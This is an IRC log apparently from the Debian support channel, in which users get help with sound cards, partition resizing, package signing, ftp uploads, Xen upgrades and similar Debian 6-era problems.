| 10:04.13 | pengwyn | I been loyal the day I learned |
| 10:04.50 | pengwyn | show something better? |
| 10:04.59 | fenugreek | hrmm? |
| 10:05.55 | pengwyn | RaaaaR it's what one dinosaur says to love another dinosaur |
| 10:05.58 | babilen | points to #debian-offtopic / #defocus |
| 10:06.30 | pengwyn | babilen- want me to /part? |
| 10:06.30 | devil | points to: get a room :) |
| 10:06.46 | babilen | pengwyn: No, ^^^^^ |
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| 10:06.50 | pengwyn | I need to be connected to this stuff |
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| 10:07.24 | pengwyn | I wish all the ones I know that are still here |
| 10:07.54 | pengwyn | I miss lilo |
| 10:07.57 | babilen | pengwyn: Please, /join a different channel for discussions like that |
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| 10:11.14 | pengwyn | debian Squeeze is damn good |
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| 10:13.37 | pengwyn | debian Squeeze + RATPOISON! |
| 10:13.45 | pengwyn | my box |
| 10:13.48 | pengwyn | lol |
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| 10:16.42 | roland- | hello there. using debian 6.0.2 and I have a very strange network issue, I reboot the machine but the network won't respond until I ping from inside the machine, any idea why is that? |
| 10:16.54 | pengwyn | SUSE FTP SAMPLE #1 d41d8cd98f00b204e9800998ecf8427e *- |
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| 10:17.26 | pengwyn | wget -O /dev/null -O - ftp.suse.com | md5sum <-this sucker workin? |
| 10:18.32 | pengwyn | y/N=? |
| 10:19.54 | pengwyn | beat me with a stick |
| 10:20.07 | pengwyn | BAT |
| 10:20.13 | pengwyn | A BAT |
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| 10:20.39 | pengwyn | autoexec.bat echo "CLUNK CLUNK CLUNK " |
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| 10:21.10 | pengwyn | or is that autoexec.bat echo "a CLUNK a CLUNK a CLUNK " |
| 10:21.28 | babilen | pengwyn: Stop it! |
| 10:22.13 | devil | must be school holidays |
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| 10:23.01 | pengwyn | No must be I been doing stupid win311 w4w, 95, me, 98, 98se, omstallicrusts |
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| 10:23.30 | pengwyn | in debian |
| 10:23.48 | pengwyn | please don't ban me |
| 10:24.37 | devil | you are trying hard |
| 10:24.45 | babilen | pengwyn: Try to stay on-topic. If you are unsure what that means read http://wiki.debian.org/DebianIRCChannelGuidelines |
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| 10:25.19 | pengwyn | I do a lot of times |
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| 10:26.18 | GreenDance | hi |
| 10:26.30 | pengwyn | aye |
| 10:27.47 | GreenDance | in my sudoers file, i would like to do this, /usr/bin/apt-get install $? (i think it's "$?", $? meaning insert program-name-here) |
| 10:28.32 | pengwyn | is shutting up until the question is up |
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| 10:30.20 | pengwyn | GreenDance- I got also %1 |
| 10:30.41 | pengwyn | know what I mean? |
| 10:32.01 | GreenDance | pengwyn: I'm trying to run a command from a script, and in my sudoers file i need to beable to allow my script run /usr/bin/apt-get install <programme-name> |
| 10:32.18 | fenugreek | that's not the greatest idea, is it? |
| 10:33.05 | pengwyn | GreenDance- I put that sucker in a wrapper |
| 10:33.39 | pengwyn | a C wrapper |
| 10:34.05 | lancelot_of | About my previous trouble with intel driver in wheezy for my HD3000 i found just a workaround, uninstalling xserver-xorg-video-intel and making vesa driver configuring xorg. Now X doesn't crashes or freezes my machine anymore, but i think it should be improve intel driver efficiency solving the bug. The git version from http://intellinuxgraphics.org/ does not solve, 'cause it's the same version of wheezy driver. |
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| 10:34.53 | pengwyn | man where's my C wrapper now? |
| 10:36.24 | devil | lancelot_of: xserver-xorg-video-intel 2.15.0-3 works perfect here with HD3000 |
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| 10:37.26 | itzhack_ | just a simple question with packaging, how to have multiple maintainer for one package |
| 10:37.32 | itzhack_ | eazch having his own GPG key? |
| 10:38.13 | itzhack_ | how can you specify this into debian/control |
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| 10:40.12 | biomass | I've just upgraded my postgresql installation during my slow move from debian 5->6 and now I'm seeing the following error messages during the packgage configuration - http://pastie.org/private/jfduuto29e1krvw1equeww . any thoughts on how to proceed to remedy the error ? |
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| 10:42.05 | Privacy | Hello, I would like to have a private talk with the owners of this channel. |
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| 10:43.03 | fenugreek | ^spamming |
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| 10:44.15 | Privacy | fenugreek: Who are you to say such things ? |
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| 10:45.01 | fenugreek | Privacy: fenugreek |
| 10:45.22 | Privacy | I have no time to waste, sorry, it's important. |
| 10:45.32 | devil | Privacy: owners? the channel istself belongs to the oftc network |
| 10:45.41 | fenugreek | if it's important, file a bug |
| 10:46.02 | devil | Privacy: so #oftc is the place. or is it about debian? |
| 10:46.07 | Thms | I tried upgrading from squeeze to wheezy, I replaced all squeeze in source.list, then did apt-get update, but I got a thing which took 10+hours, now I do apt-get upgrade and I have the same thing: open ; 21504 closed : 14500 defer: 385 conflict: 234 |
| 10:46.15 | Thms | and it takes HOURS |
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| 10:46.28 | Privacy | It's nothing about a bug, and if you say I should go to #oftc, then I will do this |
| 10:46.57 | devil | Privacy: as long as you do not say what its about, thats my best bet |
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| 10:47.39 | Privacy | devil: it's about my privacy, personnal informations appearing in #debian logs ( and some other channels ) |
| 10:47.54 | Privacy | but I'm going to see #oftc |
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| 10:48.36 | Privacy | but it seems I don't have the right to access that channel :) .. |
| 10:48.46 | Thms | <PROTECTED> |
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| 10:50.07 | Thms | I'm running dist-upgrade now and it runs fine |
| 10:50.16 | Thms | hope I'll solve the aptitude update problem |
| 10:50.27 | Thms | it'll solve* |
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| 10:51.35 | babilen | Thms: Two things: Please come and join us in #debian-next on irc.oftc.net and which problems do you have with "aptitude update" ? |
| 10:52.15 | Thms | I tried upgrading from squeeze to wheezy, I replaced all squeeze in source.list, then did apt-get update, but I got a thing which took 10+hours, now I do apt-get upgrade and I have the same thing: open ; 21504 closed : 14500 defer: 385 conflict: 23 |
| 10:52.23 | Thms | I'm joining |
| 10:53.05 | Thms | * Connecting to irc.oft.net (174.120.19.66) port 6667... |
| 10:53.06 | Thms | * Connection failed. Error: Connection refused |
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| 10:58.10 | babilen | Thms: irc.oftc.net (note the "c" in its name) |
| 10:58.38 | Thms | done |
| 10:58.41 | Thms | can u help me pskl |
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| 11:00.01 | babilen | Thms: You still can not connect to oftc? Well, so be it. Proceed to my second question .. (i'll be away for a couple of minutes though) |
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| 11:03.16 | djura-san | o/ |
| 11:03.44 | wols | !tell Thms about bat |
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| 11:10.40 | Slystone | o/ |
| 11:11.02 | fenugreek | \o |
| 11:11.33 | Slystone | Hey! First visit here! I'm having trouble configuring my sound card. |
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| 11:11.44 | Slystone | Could you help please? |
| 11:11.54 | fenugreek | Slystone: what's the trouble? |
| 11:12.09 | Slystone | stony@stony:~$ lspci | grep Audio |
| 11:12.09 | Slystone | 00:01.1 Audio device: ATI Technologies Inc HDMI Audio out for AMD Radeon HD 6310 Graphics |
| 11:12.12 | Slystone | 00:14.2 Audio device: ATI Technologies Inc SBx00 Azalia (Intel HDA) (rev 40) |
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| 11:12.41 | Slystone | I tried to install alsa (alsa-base, alsa-source, libasound...) |
| 11:12.46 | fenugreek | yes...? |
| 11:12.47 | Slystone | No questions were asked. |
| 11:12.53 | wols | !alsa checklist |
| 11:12.53 | dpkg | 1) add yourself to the 'audio' group (log out and log in again) 2) use alsamixer to unmute channels and raise levels (also try muting some channels & toggle jack sense if available) 3) arts or esound stopped? 4) speakers on? 5) does "aplay /usr/share/sounds/alsa/Noise.wav" work for root? 6) modprobe snd-pcm-oss 7) squeeze: purge any installed <oss4> packages to remove ALSA blacklist. See also <list alsa users>, <alsa firmware>. |
| 11:13.10 | Slystone | And when I try /etc/init.d/alsa start, it says command unknown |
| 11:13.31 | fenugreek | does /alsa tab-complete? |
| 11:13.38 | fenugreek | that as root? |
| 11:14.00 | Slystone | Sorry I don't understand. I'm fairly noob and I'm French. |
| 11:14.41 | Slystone | tab-complete? |
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| 11:14.54 | fenugreek | type out '/etc/init.d/al' then hit TAB |
| 11:15.27 | lancelot_of | devil, which machine?I run it on thinkpad x220 |
| 11:15.44 | Slystone | I got alsa-utils as a result. |
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| 11:16.08 | fenugreek | k, you might be missing something |
| 11:16.12 | Slystone | If I press tab again, I got [CARD] reset restart start stop |
| 11:16.23 | wols | fenugreek: why would there be a /etc/init.d/alsa? what for? |
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| 11:17.04 | Slystone | Er... I saw this line somewhere. Maybe it's deprecated, dunno.... |
| 11:17.06 | wols | Slystone: you have run an alsa mixer program as dpkg's factoid suggested, right? |
| 11:17.13 | fenugreek | http://wiki.debian.org/ALSA |
| 11:17.25 | fenugreek | wols: ? |
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| 11:18.08 | wols | fenugreek: why would there be an alsa init script? |
| 11:18.40 | Slystone | Well, I tried dpkg-reconfigure alsa-base |
| 11:19.12 | wols | dpkg-reconfigure is no audio mixer |
| 11:19.27 | Slystone | And when I run alsamixer, it prints the name of my card, but it doesn't shwo any control |
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| 11:19.52 | Slystone | Ok wols, sorry, I don't know a lot. |
| 11:19.55 | wols | and the name is? |
| 11:20.11 | wols | check cat /proc/asound/cards |
| 11:20.13 | Slystone | HD-Audio Generic |
| 11:20.23 | Slystone | ATI R6xx HDMI |
| 11:20.44 | Slystone | I probably would like the other one (not the HDMI one) |
| 11:20.56 | wols | cat /proc/asound/cards |
| 11:21.32 | Slystone | stony@stony:~$ cat /proc/asound/cards |
| 11:21.32 | Slystone | <PROTECTED> |
| 11:21.32 | Slystone | <PROTECTED> |
| 11:21.32 | Slystone | <PROTECTED> |
| 11:21.32 | Slystone | <PROTECTED> |
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| 11:23.02 | Slystone_ | Back! |
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| 11:24.19 | Slystone_ | Any idea please? |
| 11:25.01 | fenugreek | wols: because there always is? |
| 11:25.33 | fenugreek | at any rate, I didn't suggest there would be one or that there should be one |
| 11:28.32 | Slystone_ | Ok, I got something. If I press F6 in alsamixer for "select sound card", I've got a different card and some controls. |
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| 11:28.47 | Slystone_ | Card: HDA ATI SB |
| 11:29.06 | Slystone_ | Chip: Realtek ALC892 |
| 11:29.50 | Slystone_ | But I've got no sound icon on my tint2 panel. |
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| 11:31.21 | Slystone_ | If I try to play a video, it says "error, no suitable alsa mixer found". |
| 11:31.26 | Slystone_ | Still here guys? |
| 11:32.31 | fenugreek | Slystone_: I can't help but think you've skipped over reading how to setup alsa |
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| 11:34.39 | Slystone_ | Well, I did some reading, but I did not get the events expected. For instance, when I install alsa-source or when I run dpkg-reconfigure alsa-base, it's supposed to ask me some questions, and I got none. |
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| 11:38.52 | sephii | I want to spawn the user preferred editor in a script of mine, what's the best way to do that? Using the $EDITOR env var or using the editor alternative? |
| 11:39.25 | dimir | Debian? |
| 11:40.12 | sephii | yes, but maybe there will be other platforms as well |
| 11:40.17 | dimir | On Debian I believe you can use sensible-editor |
| 11:40.46 | dimir | For all I suggest using EDITOR env var if it's set, otherwise choose some default. |
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| 11:43.25 | sephii | dimir: so use sensible-editor if it's there, otherwise fallback to EDITOR? |
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| 11:46.13 | zamba | i'm trying to set up ethernet bonding with debian.. it works perfectly when i try to simulate a downed port by shutting it down.. i only loose one packet.. but when i try to bring it up again, i loose 30-40 packets bringing the interface back up again.. what could be causing this? |
| 11:47.07 | joltcan | zamba: have you enabled stp on the bridge? |
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| 11:47.14 | zamba | what bridge? |
| 11:47.36 | zamba | this is just for failover |
| 11:47.38 | roland- | is there any way to extend an ext3 volume ( / volume ) if i have more free space available |
| 11:47.48 | zamba | two separate switches and a server with two NICs |
| 11:48.14 | joltcan | zamba: I was thinking you might be getting a network loop when both interfaces are up, and that it takes a few packets for that to be resolved |
| 11:48.35 | joltcan | But I haven't used any bonding myself, so I'm just guessing |
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| 11:50.30 | jelly | roland-: a LVM2 logical volume? |
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| 11:52.04 | dFence | hi guys! how can I remap a device to the input-class via udev-rules? |
| 11:52.09 | dimir | sephii: you could do that, ye. |
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| 11:55.24 | sephii | dimir: alright thanks |
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| 11:57.31 | roland- | jelly nope, standard volume. resize2fs fails me:/ |
| 11:58.27 | stew | roland-: resize2fe will grow the filesystem to the partition size. it won't change the partition size. you have to use other tools for that |
| 11:59.03 | roland- | stew can you give me an example please? |
| 11:59.44 | roland- | I need to create a shell script at starttup that will change the partition size to max available space is that posible? |
| 11:59.53 | theeclipse | Hello all, I have an EXT4 drive which made my drive to never spin down, the hard-disk is constantly being accessed by jbd2/sdaX process, any idea? |
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| 12:01.28 | wols | roland-: why can't you use parted/gparted? |
| 12:01.30 | jelly | roland-: on a typical setup, you have a disk, which is a block device to Linux, sliced into a number of partitions, which are block devices as well. Each filesystem is stored on one partition. The formatted filesystem size is almost independent of the underlying block device size. |
| 12:01.48 | jelly | roland-: resize2fs doesn't take care of partitions, only the filesystem. |
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| 12:02.20 | roland- | wols I am installing now parted and checking it out |
| 12:02.43 | sje46 | hello, my friend keeps trying to install thigns with sudo apt-get install, but it keeps having unmet dependency errors. Shouldn't it be installing dependdencies automatically? |
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| 12:03.06 | wols | !tell sje46 about bat |
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| 12:04.03 | jelly | roland-: resizing partitions in Linux is only possible when the disk is not in use for anything else. If you have a single disk, this means you need to boot from something else -- a livecd, liveusb or network boot |
| 12:04.04 | wols | sje46: what package (and what version) is he trying to install and from which repository (url?) |
| 12:04.31 | wols | jelly: mounting it read only, then rebooting directly after it's done? |
| 12:05.08 | sje46 | wols: trying to install archey...but I couldn't find what repository so I just ave her the deb and told her to dpkg -i it. But that had dependencies, which is fine, but its those dependencies which are having this error...the dependency is scrot |
| 12:05.11 | jelly | wols: I'm simplifying a bit. There are some workarounds. |
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| 12:05.49 | preller | ive install openvpn but when i want to execute openvpn --genkey --secret ta.key |
| 12:06.01 | preller | my shell says that openvpn is unknown |
| 12:06.20 | preller | im on debian 6 |
| 12:06.35 | rozie | which openvpn |
| 12:06.50 | preller | rozie: all i did was aptitude install opoenvpn |
| 12:06.56 | preller | * openvpn |
| 12:07.31 | rozie | it's shell command |
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| 12:08.41 | preller | rozie: hm? |
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| 12:09.07 | rozie | which openvpn is shell command |
| 12:09.19 | fenugreek | 'which openvpn' |
| 12:09.49 | preller | tried that already: openvpn not found |
| 12:10.00 | preller | where is it supposed to be, ill check my path |
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| 12:10.56 | rozie | you can always try to use full path |
| 12:10.58 | rozie | /usr/sbin/openvpn |
| 12:11.55 | preller | ty, i forgot to look in sbin … |
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| 12:13.23 | wols | sje46: we cannot help if we don't know the exact error message :( |
| 12:13.57 | Slystone_ | Ok, I fixed my problem. I had two sound cards, and I just had to edit /etc/modprobe.d/alsa-base.conf to reverse the load order. Now the sound works. |
| 12:14.22 | roland- | no way to extend a mounted partition??? |
| 12:15.01 | Slystone_ | @ roland : I wouldn't think so. But what would be the point? |
| 12:15.02 | nevyn | roland-: there is. |
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| 12:15.17 | roland- | nevyn please, a hint |
| 12:15.18 | nevyn | roland-: but it's not suggested. |
| 12:15.30 | roland- | I can try |
| 12:15.46 | nevyn | roland-: and if things go wrong you can trash stuff |
| 12:16.05 | roland- | it's not production |
| 12:16.55 | jujugre | Hi there, I'm tryng to install wheezy my my pxe server, I'he downloaded needed files on http://ftp.nl.debian.org/debian/dists/wheezy/main/installer-amd64/current/images/netboot/. All works good, but after to have installed Debian, it's not a wheezy but a squeeze. I've extart the initrd from netbot.tgz of the above link, and in etc/ I can find references to squeeze => like in etc/lsb-release => "DISTRIB_RELEASE="6.0 (squeeze) - installer build 20110106 |
| 12:18.12 | wols | jujugre: that's currently normal. also testing installers are never for installing debian, they are for testing the installer |
| 12:18.39 | wols | bascially: if it works as intended, that's purely coincidental and a happy accident |
| 12:19.18 | sje46 | wols: my friend is a derp and was unresponsive to me, but i guess she got it installed |
| 12:19.25 | jujugre | wols: okay, so I can't installed testing by pxe? Or maybe can I edit some file to change it? |
| 12:19.27 | nevyn | roland-: make the partition bigger with parted or cfdisk |
| 12:19.52 | nevyn | roland-: then run resize2fs |
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| 12:20.14 | asdasd_ | fgh |
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| 12:21.35 | wols | jujugre: you currently can't install testing at all by the provided installers IIRC. the proper way to run debian testing is to install a minimal squeeze and upgrade that. /msg dpkg squeeze->wheezy |
| 12:21.54 | wols | jujugre: this applies to all testing versions of the past too btw |
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| 12:24.49 | roland- | nevyn parted alows me to expand while mounted? |
| 12:24.58 | jujugre | wols: Okay, it is the first time I'm trying to install testing by PXE. So the best way is to install squeeze with by exmple a preseed which run a dist-upgrade at the end of the squeeze install? |
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| 12:25.38 | nevyn | roland-: so resizing the physical partition isn't a problem as long as you're only appending more space to the end of the partition |
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| 12:26.02 | lamah | port is 5190 server are login.messaging.aol.com and SSL are disabled but I still i can't connect, i am talk for ICQ -- pidgin ? |
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| 12:26.20 | lamah | Use clientlogin is marked |
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| 12:29.15 | lancelot_of | devil, which machine?I run it on thinkpad x220 |
| 12:29.39 | roland- | nevyn I will try |
| 12:30.01 | nevyn | roland-: so the process is make the block device bigger... |
| 12:30.06 | nevyn | then make the filesystem bigger |
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| 12:31.45 | roland- | so parted 1st and then resize2fs |
| 12:31.53 | nevyn | yep |
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| 12:32.11 | roland- | just finished installing the vm i am very curious about this |
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| 12:38.13 | lancelot_of | i lost contact with devil, who said me intel driver for X (wheezy) worked fine. i post again my first sentence: About my previous trouble with intel driver in wheezy for my HD3000 i found just a workaround, uninstalling xserver-xorg-video-intel and making vesa driver configuring xorg. Now X doesn't crashes or freezes my machine anymore, but i think it should be improve intel driver efficiency solving the bug. The git version from http://intellin |
| 12:38.13 | lancelot_of | uxgraphics.org/ does not solve, 'cause it's the same version of wheezy driver. |
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| 12:42.11 | devil | lancelot_of: its a custom built desktop: |
| 12:42.14 | devil | http://paste.debian.net/123479/ |
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| 12:43.29 | devil | ,versions xserver-xorg-driver-intel |
| 12:43.30 | lancelot_of | devil, so why it doesn't work for me?It crashes and freezes |
| 12:43.30 | judd | Sorry, no package named 'xserver-xorg-driver-intel' was found in i386. |
| 12:43.55 | devil | ,versions xserver-xorg-video-intel |
| 12:43.56 | judd | Package xserver-xorg-video-intel on i386 -- lenny: 2:2.3.2-2+lenny8; squeeze: 2:2.13.0-6; sid: 2:2.15.0-3; wheezy: 2:2.15.0-3 |
| 12:44.18 | devil | lancelot_of: no idea at all, you use the same version as i |
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| 12:45.07 | lancelot_of | devil, doesn't it crashes or freezes for you? |
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| 12:49.37 | lamah | hich package is for audio/video in gstreamer? |
| 12:49.53 | devil | lancelot_of: no, never does |
| 12:50.57 | lancelot_of | devil, my lspci gives: VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09) is it the same for you? |
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| 12:52.20 | devil | lancelot_of: yes |
| 12:52.40 | itzhack_ | Is there a way to sign a debian package with an alternative key from what is in the .dsc ? |
| 12:53.03 | itzhack_ | like, there something in Maintainer : someemail@gmail.com |
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| 12:53.13 | itzhack_ | and you want to sign it with myemail@domain.com ? |
| 12:53.21 | itzhack_ | (sign with GPG of course) |
| 12:53.53 | stew | itzhack_: yes, there is no problem with this. and it is done all the time with debian uplods. for instance, there are non-dd maintainers that need DDs to sign and upload for them |
| 12:54.08 | stew | itzhack_: or there are team mainatined packages where the signer is not listed in the control files |
| 12:54.10 | lamah | dmm |
| 12:54.15 | itzhack_ | how do you specify that? |
| 12:54.27 | itzhack_ | in your package building |
| 12:54.29 | stew | itzhack_: debsign -k$keyid foo.dsc |
| 12:54.39 | stew | (or foo.changes) |
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| 12:54.56 | stew | dpkg-buildpackage also takes -k i believe |
| 12:55.00 | lancelot_of | devil, really strange. I'm sure the problem was that driver. So sunno why it behaves differently on different machines |
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| 12:56.17 | itzhack_ | stew: cool, thanks a lot |
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| 13:15.39 | lamah | when i compile pidgin manually Install the necessary gstreamer and farsight packages first. which gstreamer packages mean? |
| 13:16.00 | abrotman | why are you compiling it at all? |
| 13:16.34 | mns | lamah: this is debian, you don't need to compile, for the most part. aptitude install pidgin is all you need to do. |
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| 13:16.48 | lamah | mns: no |
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| 13:16.55 | lamah | mns: pidgin is a buggt 2.6 exact |
| 13:17.02 | lamah | and AOL not uses icq servers now... |
| 13:17.17 | lamah | need custom hand here:) |
| 13:17.34 | mns | what version of debian are you using ? |
| 13:17.42 | lamah | 6.0.2 |
| 13:18.26 | mns | ahh stable. did you check squeeze-backports ? or if its possible, switch to using testing. |
| 13:18.35 | lamah | i checked |
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| 13:18.54 | lamah | testing :))) o no! |
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| 13:20.05 | abrotman | judd: versions pidgin |
| 13:20.06 | judd | Package pidgin on i386 -- lenny: 2.4.3-4lenny8; lenny-security: 2.4.3-4lenny8; lenny-backports: 2.7.3-1~bpo50+2; squeeze: 2.7.3-1+squeeze1; sid: 2.9.0-3; wheezy: 2.9.0-3 |
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| 13:20.20 | pierrep_ | #tribugentoo |
| 13:20.31 | lamah | squeeze 2.7? |
| 13:20.39 | abrotman | pierrep_: do you ned help ? |
| 13:21.04 | lamah | oh yes i mean 2.7 |
| 13:21.07 | lamah | is a buggy |
| 13:21.11 | abrotman | works fine here |
| 13:21.29 | abrotman | is signed into AOL, FB, and three other XMPP services |
| 13:21.42 | mns | as for AOL not using ICQ server, you can change that in the configuration can't you ? I don't think you need to compile for it. |
| 13:22.14 | pierrep_ | abrotman yes my fs failed and i got ?? in my ls / any idea? |
| 13:22.30 | mns | yeah same here: AIM, FB, GTalk, Yahoo, MSN, and xmpp based work IM. |
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| 13:23.44 | abrotman | pierrep_: what does that have to do with #tribugentoo ? |
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| 13:24.50 | pierrep_ | abrotman, i was gonna ask there i just write the / join in another channel, somebody talk here i lost the focus... |
| 13:25.06 | stew | pierrep_: what filesystem. what does "uname -r" return? |
| 13:26.02 | pierrep_ | stew LVM2 |
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| 13:26.20 | pierrep_ | stew 2.6.37 it is a CentOS |
| 13:26.35 | stew | pierrep_: then you should be in #centos, this channel is for debian support only |
| 13:27.01 | stew | (and lvm2 isn't a filesystem) |
| 13:27.09 | pierrep_ | stew kk |
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| 13:36.57 | R1ck | so I have this preseed file which works beautifully, my root and swap are created (root within an LVM), but now I have made a second preseed file which includes the first but with a seperate /home partition in the LVM. It doesnt work, it does include the other preseed file, but the setting i'm trying to override (d-i partman-auto/expert_recipe string) doesnt seem to take effect |
| 13:36.58 | abrotman | all sorts of confused .. |
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| 13:38.58 | TDT | Hey all, I have a virtual server that has Debian installed on it. I'm unsure of what version it has, but 2.6.18-6-xen-686 is fromt he uname -a. I am trying to install the newest version of Drupal, with PostgreSQL being the backend. The error I'm getting is "The version of PHP you are using has known issues with PostgreSQL. You need to upgrade PHP to 5.2.11, 5.3.1 or greater." Running php -v gives me "PHP 5.2.6-1+lenny13". I can either install a new vers |
| 13:38.59 | TDT | PHP, or hack drupal to not give this error. With upgrading PHP, I was thinking of just trying to find the new .deb packages, or building from scratch. What is the "proper" way of handling this situation? |
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| 13:39.32 | abrotman | can't you just ignore the warning? |
| 13:39.59 | abrotman | TDT: why not just use the postgresql in lenny and the PHP in lenny? and then see if the Drupal works on top of that? |
| 13:40.00 | TDT | Unfortunately it's treating it as an error, and not letting me bypass it |
| 13:40.18 | stew | TDT: you can get 5.3 with the current release of debian. but the current release of debian would have trouble with such an old kernel. it really wants to be on 2.6.32 or newer |
| 13:41.18 | R1ck | i'd say dist-upgrading to squeeze |
| 13:41.40 | stew | yes, but only with a newer kernel |
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| 13:41.57 | wols | what is the exact kernel squeeze needs? 2.6.29? |
| 13:42.02 | stew | 2.6.32 |
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| 13:42.52 | stew | oh wait, perhaps only 2.6.26 |
| 13:42.55 | TDT | ah, dist-upgrade could be run and will upgrade everything? |
| 13:43.05 | lamah | i don't have a sound in flash videos and when i open twitter.com it redirects me to www.net.org with 3.6.16 i don't got this? |
| 13:43.13 | stew | 2.6.32 came with udev 168, squeeze has 164 |
| 13:43.37 | stew | TDT: its not quite that simple, with Xen |
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| 13:44.47 | TDT | stew: Hmm...maybe it's worth me getting a snapshot of the setup first,t hen reinstalling. |
| 13:44.57 | TDT | errr not reinstalling, but dist-update it |
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| 13:46.09 | wols | TDT: upgrading a VPS to a newer version of debian is never simple. before doing anything, ask your hoster if the current debian kernels will work fine with his setup |
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| 13:47.56 | TDT | Yeah..will do that. I found a patch that basically removes the error...I've been using postgresql with php for years, so I'm not worried...would be nice to eventually upgrade though. |
| 13:48.19 | lamah | who knows ? |
| 13:48.26 | catsup | TDT: who is your provider? |
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| 13:49.19 | TDT | catsup: .coop |
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| 13:49.24 | TDT | errr tech.coop |
| 13:49.38 | R1ck | Squeeze works fine on "default" XenServers |
| 13:50.12 | catsup | oh a hosting coop that's very interesting |
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| 13:50.35 | catsup | what virtualization tech do they use? (linux vserver, openvz, ?) |
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| 13:52.23 | TDT | catsup: Not really sure TBH. |
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| 13:52.34 | catsup | you should know |
| 13:53.08 | catsup | i mean, if you're admining a box |
| 13:53.22 | catsup | The Tech Co-op is proud to offer Virtual Private Servers running under Xen! Starting at $20 |
| 13:53.47 | catsup | if your server is xen, that means you get your own kernel! so you can upgrade that yourself |
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| 13:54.25 | TDT | most of the support under the OS layer is done by them, at least it ahs been in the past. From the point it gets to the OS on up, I mostly deal with...but I could ask. |
| 13:54.52 | TDT | oh, wait ok I see what you're asking..sorry, didn't get it at first. |
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| 13:55.02 | TDT | Yes, it's xen, and the whole install I can mess with |
| 13:55.15 | TDT | including bootup/shutdown/etc...so I could upgrade the kernel manually. |
| 13:56.22 | catsup | yeah that's real nice you know |
| 13:56.23 | TDT | I think I'll still get a snapshot made prior to doing anything. I really need more backups of this. |
| 13:56.34 | catsup | most places don't offer that |
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| 14:09.46 | johnnymugs | quick n00b question: i'd like to be able to call gnome-terminal in gnome by pressing alt+f2 and then typing something short like "term" instead of "gnome-terminal" |
| 14:09.52 | johnnymugs | is there a way to do this? |
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| 14:10.21 | abrotman | maybe an alias .. |
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| 14:12.16 | scyth | hi, I'm running debian testing, and after today's upgrade.. pidgin stopped working with xmpp (no valid auth methods supported) |
| 14:12.34 | scyth | did anyone experienced this? |
| 14:12.41 | twobitsprite | I know there's something for gnome which will to incremental search for commands, command history, menu items etc.... kde has something like that |
| 14:13.03 | twobitsprite | with something like that you would just be able to tyep "term" and it would complete to gnome-terminal |
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| 14:14.21 | abrotman | twobitsprite: there is, but that's not really what he asked ... |
| 14:14.37 | johnnymugs | abrotman: that'll do, thanks! |
| 14:14.39 | abrotman | scyth: checked teh BTS? tried using finch? |
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| 14:15.06 | scyth | bts? |
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| 14:16.11 | scyth | I'll try the finch |
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| 14:21.56 | scyth | abrotman, finch also doesn't work |
| 14:22.03 | scyth | same err |
| 14:22.17 | scyth | it's something with purple |
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| 14:25.47 | jquerier | hello how can i upload a complete directory using ftp in debian? |
| 14:26.02 | jquerier | or is there another ftp client for debian |
| 14:26.12 | jquerier | which can tranfer complete directory |
| 14:26.41 | Virtualmix | jquerier, Are you using Gnome Desktop? |
| 14:26.43 | stew | jquerier: ncftp will let you "put -R dir" |
| 14:27.15 | stew | jquerier: you can use "prompt ; mput *" in ftp to put "all files in current directory." but it will not work recursively |
| 14:27.53 | johnnymugs | abrotman: actually an alias only seems to work from a terminal itself. anything wrong with making a symlink to it in /usr/bin? |
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| 14:29.47 | Virtualmix | A package for the software Fritzing a been requested and I guess its now on the Wishlist of packages. How can I know if some people are working on it or if they need any help? |
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| 14:30.35 | berarma | jquerier: you can use lftp |
| 14:30.58 | stew | Virtualmix: see http://bugs.debian.org/601230 ; that is where work on this package should be coordinated |
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| 14:33.53 | Virtualmix | stew, Thank you for your reply, obviously someone is working on it. Good! |
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| 14:35.40 | jquerier | thanks Virtualmix ncftp helped |
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| 14:36.49 | jquerier | i mean stew |
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| 14:37.21 | abrotman | johnnymugs: not technically, no .. did you try one in your .xsession or .xinitrc ? |
| 14:37.57 | johnnymugs | abrotman: ah no, just .bashrc -- lemme try those now |
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| 15:06.18 | anrxc | hi, I'd like to use Pre-Invoke and Post-Invoke to execute some shell scripts, in apt configuration, but skip them if package being (un)installed is called "foobar" |
| 15:06.33 | anrxc | couldn't find if it's possible from man apt.conf alone |
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| 15:07.14 | anrxc | i was hoping package name is stored somewhere, and it can be accessed, or passed on to the script |
| 15:07.17 | mallory | is there any Encryption-Chan ?? |
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| 15:08.24 | Guest66974 | Hello. I messed up my grub2 configuration file and now grub2 crashes after loading insmod at start. Is there any hotkey to enter something like a rescue mode where grub doesn't parse the grub.conf file? |
| 15:08.48 | Guest66974 | I can *not* get to the grub menu. |
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| 15:10.19 | abrotman | Guest66974: honestly, the easiest way would be to use the installer you used, and use it in Rescue mode |
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| 15:11.43 | roland- | hey, no gnome 3? |
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| 15:12.32 | wols | !tell roland- about gnome3 |
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| 15:14.20 | technologov_ | hi ! |
| 15:14.30 | technologov_ | Where can I find "debian-cd" package ? |
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| 15:14.38 | abrotman | the what? |
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| 15:15.08 | sninky | hi |
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| 15:19.03 | sninky | hi |
| 15:19.34 | sninky | Will the newest Debian by anychance come with ath5k drivers? I found it convenient that knoppix was ready to connect to the internet. |
| 15:19.53 | sninky | ath5k being the kernel module to modprobe for atheros wifi. |
| 15:19.59 | abrotman | sninky: does ath5k require firmware? |
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| 15:20.49 | sninky | abrotman: not sure. how can I tell? |
| 15:21.02 | sninky | where can I get this firmware |
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| 15:21.19 | Guest66974 | sninky: there are install images with non-free firmware already included |
| 15:21.32 | abrotman | if it doesn't require firmware .. the installer will work just fine |
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| 15:21.44 | abrotman | IIRC, the ath5k/9k don't need firmware |
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| 15:22.15 | sninky | Guest66974: is this install image the the large installation image ? |
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| 15:22.22 | abrotman | sninky: no .. |
| 15:22.32 | abrotman | but ath5k doesn't need firmware .. have you even tried it yet? |
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| 15:23.05 | sninky | Well I have tried it on xubuntu. And even though I have ath5k, iwconfig won't associate my card with the essid. |
| 15:23.12 | sninky | but it's working on knoppix. |
| 15:23.15 | abrotman | that doesn't mean it's a kernel problem ... |
| 15:23.40 | sninky | Well I'm looking for more of an out of the box solution. |
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| 15:24.51 | abrotman | sninky: did you try Debian yet? |
| 15:25.42 | sninky | no. I'm in the process of picking out an IOS image (something that's not kde4. kde 3.5 or gnome.) |
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| 15:25.53 | sninky | err I need kde 3.5 or gnome. |
| 15:26.03 | abrotman | use the squeeze netinst |
| 15:26.14 | sninky | thanks I'll google that. |
| 15:26.31 | anrxc | regarding my dpkg hook question, according to dpkg manual DPKG_HOOK_ACTION env variable should contain the current action |
